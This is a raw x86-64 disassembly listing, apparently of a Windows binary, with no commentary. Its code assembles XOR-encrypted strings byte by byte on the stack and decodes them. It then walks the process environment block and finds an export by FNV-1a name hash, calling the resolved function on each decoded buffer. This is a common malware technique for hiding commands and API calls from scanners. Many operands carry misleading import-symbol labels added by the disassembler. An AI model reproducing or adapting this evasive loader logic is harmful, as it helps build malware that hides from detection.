mov byte [rbp + 0xa17], 0x45
mov byte [rbp + 0xa18], 0x59
mov byte [rbp + 0xa19], 0x55
mov byte [rbp + 0xa1a], 0x42
mov byte [rbp + 0xa1b], 0x53
mov byte [rbp + 0xa1c], 0x57
mov byte [rbp + 0xa1d], 0x63
mov byte [rbp + 0xa1e], 0x61
mov byte [rbp + 0xa1f], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xa20], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa21], 9
mov byte [rbp + 0xa22], 4
mov byte [rbp + 0xa23], 0x44
mov byte [rbp + 0xa24], ntohl
mov byte [rbp + 0xa25], 1
mov byte [rbp + 0xa26], 0x57
mov byte [rbp + 0xa27], 0x46
mov byte [rbp + 0xa28], 0x42
mov byte [rbp + 0xa29], 0x46
mov byte [rbp + 0xa2a], 0x42
mov byte [rbp + 0xa2b], Ordinal_79
mov byte [rbp + 0xa2c], ntohl
mov byte [rbp + 0xa2d], Ordinal_26
mov byte [rbp + 0xa2e], 0x42
mov byte [rbp + 0xa2f], 0x53
mov byte [rbp + 0xa30], 0x54
mov byte [rbp + 0xa31], 0x5d
mov byte [rbp + 0xa32], 0x54
mov byte [rbp + 0xa33], 0x5d
mov byte [rbp + 0xa34], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xa35], Ordinal_26
mov byte [rbp + 0xa36], reloc.WS2_32.dll_recv
mov byte [rbp + 0xa37], 0x45
mov byte [rbp + 0xa38], 0x5d
mov byte [rbp + 0xa39], 0x5c
mov byte [rbp + 0xa3a], 0x59
mov byte [rbp + 0xa3b], 0x5e
mov byte [rbp + 0xa3c], 0x53
mov byte [rbp + 0xa3d], 0x68
mov byte [rbp + 0xa3e], WSASetLastError
mov byte [rbp + 0xa3f], 0x67
mov byte [rbp + 0xa40], Ordinal_60
mov byte [rbp + 0xa41], Ordinal_45
mov byte [rbp + 0xa42], Ordinal_41
mov byte [rbp + 0xa43], Ordinal_41
mov byte [rbp + 0xa44], Ordinal_41
mov byte [rbp + 0xa45], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa46], 0x60
mov byte [rbp + 0xa47], WSASetLastError
mov byte [rbp + 0xa48], WSAGetLastError
mov byte [rbp + 0xa49], Ordinal_50
mov byte [rbp + 0xa4a], Ordinal_45
mov byte [rbp + 0xa4b], Ordinal_50
mov byte [rbp + 0xa4c], Ordinal_45
mov byte [rbp + 0xa4d], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xa4e], 0x3d
mov byte [rbp + 0xa4f], 0x77
mov byte [rbp + 0xa50], 0x77
mov byte [rbp + 0xa51], 0x7c
mov byte [rbp + 0xa52], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa53], Ordinal_50
mov byte [rbp + 0xa54], gethostname
mov byte [rbp + 0xa55], Ordinal_50
mov byte [rbp + 0xa56], Ordinal_60
mov byte [rbp + 0xa57], Ordinal_60
mov byte [rbp + 0xa58], 0x79
mov byte [rbp + 0xa59], 0x77
mov byte [rbp + 0xa5a], Ordinal_50
mov byte [rbp + 0xa5b], Ordinal_50
mov byte [rbp + 0xa5c], Ordinal_50
movabs r11, 0xed901d1f0e7dccc6
mov byte [rbp + 0xa5d], 9
mov r10, r11
mov byte [rbp + 0xa5e], r12b
mov r9, rsi
mov byte [rbp + 0xa5f], r12b
mov byte [rbp + 0xa60], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa61], Ordinal_79
mov byte [rbp + 0xa62], 0x44
mov byte [rbp + 0xa63], 6
mov byte [rbp + 0xa64], Ordinal_79
mov byte [rbp + 0xa65], 0x5a
mov byte [rbp + 0xa66], ntohl
mov byte [rbp + 0xa67], reloc.WS2_32.dll_select
mov byte [rbp + 0xa68], sil
mov byte [rbp + 0xa69], 0x42
mov byte [rbp + 0xa6a], 0x5f
mov byte [rbp + 0xa6b], 0x5f
mov byte [rbp + 0xa6c], 0x48
mov byte [rbp + 0xa6d], Ordinal_79
mov byte [rbp + 0xa6e], reloc.WS2_32.dll_WSASetLastError
movzx eax, byte [rbp + 0x9c3]
lea rax, [rbp + 0x9c3]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x9c3]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x9c3], al
inc r9
cmp r9, 0xac
jb 0x140049990
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140049a67
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140049a67
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140049a62
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140049a40
cmp r8d, 0x491e0a9c
je 0x140049a6c
test r9d, r9d
jne 0x140049a20
mov rax, qword [rax]
jmp 0x1400499f0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x9c3]
add rdx, r10
call rdx
mov byte [rbp + 0x67f], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x680], Ordinal_41
mov byte [rbp + 0x681], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x682], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x683], Ordinal_35
mov byte [rbp + 0x684], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x685], Ordinal_45
mov byte [rbp + 0x686], 0x68
mov byte [rbp + 0x687], 9
mov byte [rbp + 0x688], 5
mov byte [rbp + 0x689], 5
mov byte [rbp + 0x68a], 2
mov byte [rbp + 0x68b], 4
mov byte [rbp + 0x68c], ntohl
mov byte [rbp + 0x68d], reloc.WS2_32.dll_socket
mov byte [rbp + 0x68e], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x68f], 4
mov byte [rbp + 0x690], 6
mov byte [rbp + 0x691], Ordinal_26
mov byte [rbp + 0x692], reloc.WS2_32.dll_listen
mov byte [rbp + 0x693], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x694], 8
mov byte [rbp + 0x695], reloc.WS2_32.dll_select
mov byte [rbp + 0x696], Ordinal_50
mov byte [rbp + 0x697], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x698], Ordinal_45
mov byte [rbp + 0x699], Ordinal_60
mov byte [rbp + 0x69a], Ordinal_45
mov byte [rbp + 0x69b], 7
mov byte [rbp + 0x69c], 9
mov byte [rbp + 0x69d], Ordinal_32
mov byte [rbp + 0x69e], Ordinal_50
mov byte [rbp + 0x69f], Ordinal_60
mov byte [rbp + 0x6a0], 8
mov byte [rbp + 0x6a1], 7
mov byte [rbp + 0x6a2], ntohl
mov byte [rbp + 0x6a3], ntohl
mov byte [rbp + 0x6a4], reloc.WS2_32.dll_send
mov byte [rbp + 0x6a5], Ordinal_32
mov byte [rbp + 0x6a6], Ordinal_79
mov byte [rbp + 0x6a7], 0x41
mov byte [rbp + 0x6a8], Ordinal_79
mov byte [rbp + 0x6a9], Ordinal_45
mov byte [rbp + 0x6aa], Ordinal_60
mov byte [rbp + 0x6ab], Ordinal_41
mov byte [rbp + 0x6ac], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x6ad], reloc.WS2_32.dll_listen
mov byte [rbp + 0x6ae], r12b
mov byte [rbp + 0x6af], 2
mov byte [rbp + 0x6b0], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x6b1], reloc.WS2_32.dll_socket
mov byte [rbp + 0x6b2], ntohl
mov byte [rbp + 0x6b3], Ordinal_41
mov byte [rbp + 0x6b4], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x6b5], reloc.WS2_32.dll_listen
mov byte [rbp + 0x6b6], ntohl
mov byte [rbp + 0x6b7], Ordinal_26
mov byte [rbp + 0x6b8], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x6b9], reloc.WS2_32.dll_socket
mov byte [rbp + 0x6ba], 0x5f
mov byte [rbp + 0x6bb], 0xa7
mov byte [rbp + 0x6bc], 0xf9
mov byte [rbp + 0x6bd], 0xa8
mov byte [rbp + 0x6be], Ordinal_200
mov byte [rbp + 0x6bf], 0xee
mov byte [rbp + 0x6c0], 0xf2
mov byte [rbp + 0x6c1], 0xfd
mov byte [rbp + 0x6c2], 0xee
mov byte [rbp + 0x6c3], 0xef
mov byte [rbp + 0x6c4], 0xe8
mov byte [rbp + 0x6c5], 0xdb
mov byte [rbp + 0x6c6], 0xe1
mov byte [rbp + 0x6c7], 0xec
mov byte [rbp + 0x6c8], 0xeb
mov byte [rbp + 0x6c9], 0xa9
mov byte [rbp + 0x6ca], 0xa0
mov byte [rbp + 0x6cb], 0xec
mov byte [rbp + 0x6cc], 0xbf
mov byte [rbp + 0x6cd], 0xca
mov byte [rbp + 0x6ce], Ordinal_217
mov byte [rbp + 0x6cf], Ordinal_217
mov byte [rbp + 0x6d0], Ordinal_211
mov byte [rbp + 0x6d1], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x6d2], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x6d3], 0xdc
mov byte [rbp + 0x6d4], Ordinal_200
mov byte [rbp + 0x6d5], 0xdb
mov byte [rbp + 0x6d6], 0xb8
mov byte [rbp + 0x6d7], 0xbe
mov byte [rbp + 0x6d8], 0xfa
mov byte [rbp + 0x6d9], 0xb9
mov byte [rbp + 0x6da], 0xba
mov byte [rbp + 0x6db], 0xda
mov byte [rbp + 0x6dc], Ordinal_211
mov byte [rbp + 0x6dd], Ordinal_200
mov byte [rbp + 0x6de], 0xc9
mov byte [rbp + 0x6df], Ordinal_211
mov byte [rbp + 0x6e0], 0xcc
mov byte [rbp + 0x6e1], Ordinal_143
mov byte [rbp + 0x6e2], Ordinal_143
mov byte [rbp + 0x6e3], Ordinal_211
mov byte [rbp + 0x6e4], Ordinal_200
mov byte [rbp + 0x6e5], 0xc1
mov byte [rbp + 0x6e6], 0xcc
mov byte [rbp + 0x6e7], Ordinal_211
mov byte [rbp + 0x6e8], Ordinal_200
mov byte [rbp + 0x6e9], Ordinal_143
mov byte [rbp + 0x6ea], 0x82
mov byte [rbp + 0x6eb], 0x9d
mov byte [rbp + 0x6ec], Ordinal_211
mov byte [rbp + 0x6ed], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x6ee], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6ef], Ordinal_217
mov byte [rbp + 0x6f0], 0xde
mov byte [rbp + 0x6f1], Ordinal_217
mov byte [rbp + 0x6f2], 0x9a
mov byte [rbp + 0x6f3], 0x9e
mov byte [rbp + 0x6f4], __WSAFDIsSet
mov byte [rbp + 0x6f5], Ordinal_211
mov byte [rbp + 0x6f6], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x6f7], 0xdf
mov byte [rbp + 0x6f8], 0xda
mov byte [rbp + 0x6f9], Ordinal_217
mov byte [rbp + 0x6fa], Ordinal_211
mov byte [rbp + 0x6fb], 0xed
mov byte [rbp + 0x6fc], 0xe2
mov byte [rbp + 0x6fd], 0xed
mov byte [rbp + 0x6fe], 0xbf
mov byte [rbp + 0x6ff], 0xa1
mov byte [rbp + 0x700], 0xaf
mov byte [rbp + 0x701], 0xad
mov byte [rbp + 0x702], 0xa0
mov byte [rbp + 0x703], 0xae
mov byte [rbp + 0x704], 0xe1
mov byte [rbp + 0x705], 0xe2
mov byte [rbp + 0x706], 0xed
mov byte [rbp + 0x707], 0xb3
mov byte [rbp + 0x708], 0xaf
mov byte [rbp + 0x709], 0xa7
mov byte [rbp + 0x70a], 0xab
mov byte [rbp + 0x70b], 0xb7
mov byte [rbp + 0x70c], 0xb2
mov byte [rbp + 0x70d], 0xfd
mov byte [rbp + 0x70e], 0xf8
mov byte [rbp + 0x70f], 0xa2
mov byte [rbp + 0x710], 0xb0
mov byte [rbp + 0x711], 0xb7
mov byte [rbp + 0x712], 0xbb
mov byte [rbp + 0x713], 0xbc
mov byte [rbp + 0x714], 0xb9
mov byte [rbp + 0x715], 0xfa
mov byte [rbp + 0x716], 0xf8
mov byte [rbp + 0x717], 0xfe
mov byte [rbp + 0x718], 0xb8
movabs r14, 0xeae8073d35db8f44
mov byte [rbp + 0x719], 0xf9
mov r10, r14
mov byte [rbp + 0x71a], 0xe1
mov r9, rsi
mov byte [rbp + 0x71b], 0x86
mov byte [rbp + 0x71c], 0x9a
mov byte [rbp + 0x71d], 0x84
mov byte [rbp + 0x71e], Ordinal_211
mov byte [rbp + 0x71f], Ordinal_211
mov byte [rbp + 0x720], 0xdf
mov byte [rbp + 0x721], Ordinal_211
mov byte [rbp + 0x722], 0xde
mov byte [rbp + 0x723], 0xe3
movzx eax, byte [rbp + 0x67f]
lea rax, [rbp + 0x67f]
sub r10, rax
mov rcx, r9
lea rdx, [rbp + 0x67f]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r14
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x67f], al
inc r9
cmp r9, 0xa5
jb 0x140049f30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004a007
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004a007
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004a002
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140049fe0
cmp r8d, 0x491e0a9c
je 0x14004a00c
test r9d, r9d
jne 0x140049fc0
mov rax, qword [rax]
jmp 0x140049f90
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x67f]
add rdx, r10
call rdx
mov byte [rbp + 0x724], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x725], Ordinal_41
mov byte [rbp + 0x726], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x727], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x728], Ordinal_35
mov byte [rbp + 0x729], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x72a], Ordinal_45
mov byte [rbp + 0x72b], 0x68
mov byte [rbp + 0x72c], 9
mov byte [rbp + 0x72d], 5
mov byte [rbp + 0x72e], 5
mov byte [rbp + 0x72f], 2
mov byte [rbp + 0x730], 4
mov byte [rbp + 0x731], ntohl
mov byte [rbp + 0x732], reloc.WS2_32.dll_socket
mov byte [rbp + 0x733], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x734], 4
mov byte [rbp + 0x735], 6
mov byte [rbp + 0x736], Ordinal_26
mov byte [rbp + 0x737], reloc.WS2_32.dll_listen
mov byte [rbp + 0x738], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x739], 8
mov byte [rbp + 0x73a], reloc.WS2_32.dll_select
mov byte [rbp + 0x73b], Ordinal_50
mov byte [rbp + 0x73c], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x73d], Ordinal_45
mov byte [rbp + 0x73e], Ordinal_60
mov byte [rbp + 0x73f], Ordinal_45
mov byte [rbp + 0x740], 7
mov byte [rbp + 0x741], 9
mov byte [rbp + 0x742], Ordinal_32
mov byte [rbp + 0x743], Ordinal_50
mov byte [rbp + 0x744], Ordinal_60
mov byte [rbp + 0x745], 8
mov byte [rbp + 0x746], 7
mov byte [rbp + 0x747], ntohl
mov byte [rbp + 0x748], ntohl
mov byte [rbp + 0x749], reloc.WS2_32.dll_send
mov byte [rbp + 0x74a], Ordinal_32
mov byte [rbp + 0x74b], Ordinal_79
mov byte [rbp + 0x74c], 0x41
mov byte [rbp + 0x74d], Ordinal_79
mov byte [rbp + 0x74e], Ordinal_45
mov byte [rbp + 0x74f], Ordinal_60
mov byte [rbp + 0x750], Ordinal_41
mov byte [rbp + 0x751], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x752], reloc.WS2_32.dll_listen
mov byte [rbp + 0x753], r12b
mov byte [rbp + 0x754], 2
mov byte [rbp + 0x755], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x756], reloc.WS2_32.dll_socket
mov byte [rbp + 0x757], ntohl
mov byte [rbp + 0x758], Ordinal_41
mov byte [rbp + 0x759], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x75a], reloc.WS2_32.dll_listen
mov byte [rbp + 0x75b], ntohl
mov byte [rbp + 0x75c], Ordinal_26
mov byte [rbp + 0x75d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x75e], reloc.WS2_32.dll_socket
mov byte [rbp + 0x75f], 0x5f
mov byte [rbp + 0x760], 0xa7
mov byte [rbp + 0x761], 0xf9
mov byte [rbp + 0x762], 0xa8
mov byte [rbp + 0x763], Ordinal_200
mov byte [rbp + 0x764], 0xee
mov byte [rbp + 0x765], 0xf2
mov byte [rbp + 0x766], 0xfd
mov byte [rbp + 0x767], 0xee
mov byte [rbp + 0x768], 0xef
mov byte [rbp + 0x769], 0xe8
mov byte [rbp + 0x76a], 0xcb
mov byte [rbp + 0x76b], 0xe9
mov byte [rbp + 0x76c], 0xf5
mov byte [rbp + 0x76d], 0xeb
mov byte [rbp + 0x76e], 0xa9
mov byte [rbp + 0x76f], 0xa0
mov byte [rbp + 0x770], 0xec
mov byte [rbp + 0x771], 0xbf
mov byte [rbp + 0x772], 0xca
mov byte [rbp + 0x773], Ordinal_217
mov byte [rbp + 0x774], Ordinal_217
mov byte [rbp + 0x775], Ordinal_211
mov byte [rbp + 0x776], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x777], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x778], 0xdc
mov byte [rbp + 0x779], Ordinal_200
mov byte [rbp + 0x77a], 0xdb
mov byte [rbp + 0x77b], 0xb8
mov byte [rbp + 0x77c], 0xbe
mov byte [rbp + 0x77d], 0xfa
mov byte [rbp + 0x77e], 0xb9
mov byte [rbp + 0x77f], 0xba
mov byte [rbp + 0x780], 0xda
mov byte [rbp + 0x781], Ordinal_211
mov byte [rbp + 0x782], Ordinal_200
mov byte [rbp + 0x783], 0xc9
mov byte [rbp + 0x784], Ordinal_211
mov byte [rbp + 0x785], 0xcc
mov byte [rbp + 0x786], Ordinal_143
mov byte [rbp + 0x787], Ordinal_143
mov byte [rbp + 0x788], Ordinal_211
mov byte [rbp + 0x789], Ordinal_200
mov byte [rbp + 0x78a], 0xc1
mov byte [rbp + 0x78b], 0xcc
mov byte [rbp + 0x78c], Ordinal_211
mov byte [rbp + 0x78d], Ordinal_200
mov byte [rbp + 0x78e], Ordinal_143
mov byte [rbp + 0x78f], 0x82
mov byte [rbp + 0x790], 0x9d
mov byte [rbp + 0x791], Ordinal_211
mov byte [rbp + 0x792], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x793], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x794], Ordinal_217
mov byte [rbp + 0x795], 0xde
mov byte [rbp + 0x796], Ordinal_217
mov byte [rbp + 0x797], 0x9a
mov byte [rbp + 0x798], 0x9e
mov byte [rbp + 0x799], __WSAFDIsSet
mov byte [rbp + 0x79a], Ordinal_211
mov byte [rbp + 0x79b], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x79c], 0xdf
mov byte [rbp + 0x79d], 0xda
mov byte [rbp + 0x79e], Ordinal_217
mov byte [rbp + 0x79f], Ordinal_211
mov byte [rbp + 0x7a0], 0xed
mov byte [rbp + 0x7a1], 0xe2
mov byte [rbp + 0x7a2], 0xed
mov byte [rbp + 0x7a3], 0xbf
mov byte [rbp + 0x7a4], 0xa1
mov byte [rbp + 0x7a5], 0xaf
mov byte [rbp + 0x7a6], 0xad
mov byte [rbp + 0x7a7], 0xa0
mov byte [rbp + 0x7a8], 0xae
mov byte [rbp + 0x7a9], 0xe1
mov byte [rbp + 0x7aa], 0xe2
mov byte [rbp + 0x7ab], 0xed
mov byte [rbp + 0x7ac], 0xb3
mov byte [rbp + 0x7ad], 0xaf
mov byte [rbp + 0x7ae], 0xa7
mov byte [rbp + 0x7af], 0xab
mov byte [rbp + 0x7b0], 0xb7
mov byte [rbp + 0x7b1], 0xb2
mov byte [rbp + 0x7b2], 0xfd
mov byte [rbp + 0x7b3], 0xf8
mov byte [rbp + 0x7b4], 0xa2
mov byte [rbp + 0x7b5], 0xb0
mov byte [rbp + 0x7b6], 0xb7
mov byte [rbp + 0x7b7], 0xbb
mov byte [rbp + 0x7b8], 0xbc
mov byte [rbp + 0x7b9], 0xb9
mov byte [rbp + 0x7ba], 0xfa
mov byte [rbp + 0x7bb], 0xf8
mov byte [rbp + 0x7bc], 0xfe
mov byte [rbp + 0x7bd], 0xb8
mov r10, r14
mov byte [rbp + 0x7be], 0xf9
mov r9, rsi
mov byte [rbp + 0x7bf], 0xe1
mov byte [rbp + 0x7c0], 0x86
mov byte [rbp + 0x7c1], 0x9a
mov byte [rbp + 0x7c2], 0x84
mov byte [rbp + 0x7c3], Ordinal_211
mov byte [rbp + 0x7c4], Ordinal_211
mov byte [rbp + 0x7c5], 0xdf
mov byte [rbp + 0x7c6], Ordinal_211
mov byte [rbp + 0x7c7], 0xde
mov byte [rbp + 0x7c8], 0xe3
movzx eax, byte [rbp + 0x724]
lea rax, [rbp + 0x724]
sub r10, rax
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x724]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r14
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x724], al
inc r9
cmp r9, 0xa5
jb 0x14004a4d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004a5a7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004a5a7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004a5a2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14004a580
cmp r8d, 0x491e0a9c
je 0x14004a5ac
test r9d, r9d
jne 0x14004a560
mov rax, qword [rax]
jmp 0x14004a530
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x724]
add rdx, r10
call rdx
mov byte [rbp + 0x358], WSACleanup
mov byte [rbp + 0x359], WSASetLastError
mov byte [rbp + 0x35a], 0x77
mov byte [rbp + 0x35b], Ordinal_50
mov byte [rbp + 0x35c], 0x77
mov byte [rbp + 0x35d], 0x7f
mov byte [rbp + 0x35e], 0x7e
mov byte [rbp + 0x35f], Ordinal_50
mov byte [rbp + 0x360], 0x57
mov byte [rbp + 0x361], 0x54
mov byte [rbp + 0x362], 0x5c
mov byte [rbp + 0x363], 0x54
mov byte [rbp + 0x364], 0x48
mov byte [rbp + 0x365], 0x47
mov byte [rbp + 0x366], 0x50
mov byte [rbp + 0x367], 0x54
mov byte [rbp + 0x368], 0x44
mov byte [rbp + 0x369], 0x48
mov byte [rbp + 0x36a], 0x61
mov byte [rbp + 0x36b], WSACleanup
mov byte [rbp + 0x36c], 0x63
mov byte [rbp + 0x36d], 0x77
mov byte [rbp + 0x36e], 0x67
mov byte [rbp + 0x36f], Ordinal_79
mov byte [rbp + 0x370], Ordinal_79
mov byte [rbp + 0x371], 0x5d
mov byte [rbp + 0x372], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x373], 0x5a
mov byte [rbp + 0x374], Ordinal_79
mov byte [rbp + 0x375], 0x42
mov byte [rbp + 0x376], 0x5b
mov byte [rbp + 0x377], 0x7e
mov byte [rbp + 0x378], 0x77
mov byte [rbp + 0x379], 0x46
mov byte [rbp + 0x37a], 0x5e
mov byte [rbp + 0x37b], 0x54
mov byte [rbp + 0x37c], 0x59
mov byte [rbp + 0x37d], Ordinal_79
mov byte [rbp + 0x37e], Ordinal_79
mov byte [rbp + 0x37f], reloc.WS2_32.dll_select
mov byte [rbp + 0x380], Ordinal_32
mov byte [rbp + 0x381], Ordinal_32
mov byte [rbp + 0x382], 0x7e
mov byte [rbp + 0x383], WSASetLastError
mov byte [rbp + 0x384], 0x68
mov byte [rbp + 0x385], 0x77
mov byte [rbp + 0x386], Ordinal_79
mov byte [rbp + 0x387], 0x40
mov byte [rbp + 0x388], 0x42
mov byte [rbp + 0x389], 0x5a
mov byte [rbp + 0x38a], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x38b], gethostname
mov byte [rbp + 0x38c], reloc.WS2_32.dll_recv
mov byte [rbp + 0x38d], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + Ordinal_60e], 0x38
mov byte [rbp + 0x38f], gethostname
mov byte [rbp + 0x390], Ordinal_41
mov byte [rbp + 0x391], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x392], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x393], WSAGetLastError
mov byte [rbp + 0x394], WSASetLastError
mov byte [rbp + 0x395], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x396], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x397], reloc.WS2_32.dll_select
mov byte [rbp + 0x398], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x399], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x39a], gethostname
mov byte [rbp + 0x39b], Ordinal_41
mov byte [rbp + 0x39c], gethostname
mov byte [rbp + 0x39d], Ordinal_50
mov byte [rbp + 0x39e], reloc.WS2_32.dll_send
mov byte [rbp + 0x39f], gethostname
mov byte [rbp + 0x3a0], 0x7f
mov byte [rbp + 0x3a1], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x3a2], Ordinal_41
mov byte [rbp + 0x3a3], 0x79
mov byte [rbp + 0x3a4], 6
mov byte [rbp + 0x3a5], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x3a6], Ordinal_26
mov byte [rbp + 0x3a7], reloc.WS2_32.dll_listen
mov byte [rbp + 0x3a8], 3
mov byte [rbp + 0x3a9], 5
mov byte [rbp + 0x3aa], 0x40
mov byte [rbp + 0x3ab], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x3ac], 2
mov byte [rbp + 0x3ad], Ordinal_79
mov byte [rbp + 0x3ae], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x3af], reloc.WS2_32.dll_select
mov byte [rbp + 0x3b0], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x3b1], 1
mov byte [rbp + 0x3b2], 4
mov byte [rbp + 0x3b3], 6
mov byte [rbp + 0x3b4], 9
mov byte [rbp + 0x3b5], 0x41
mov byte [rbp + 0x3b6], Ordinal_79
mov byte [rbp + 0x3b7], reloc.WS2_32.dll_recv
mov byte [rbp + 0x3b8], 1
mov byte [rbp + 0x3b9], 1
mov byte [rbp + 0x3ba], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x3bb], Ordinal_32
mov byte [rbp + 0x3bc], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x3bd], 0x5e
mov byte [rbp + 0x3be], 0x57
mov byte [rbp + 0x3bf], 0x55
mov byte [rbp + 0x3c0], reloc.WS2_32.dll_listen
mov byte [rbp + 0x3c1], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x3c2], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x3c3], Ordinal_32
mov byte [rbp + 0x3c4], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x3c5], Ordinal_26
mov byte [rbp + 0x3c6], 0x5a
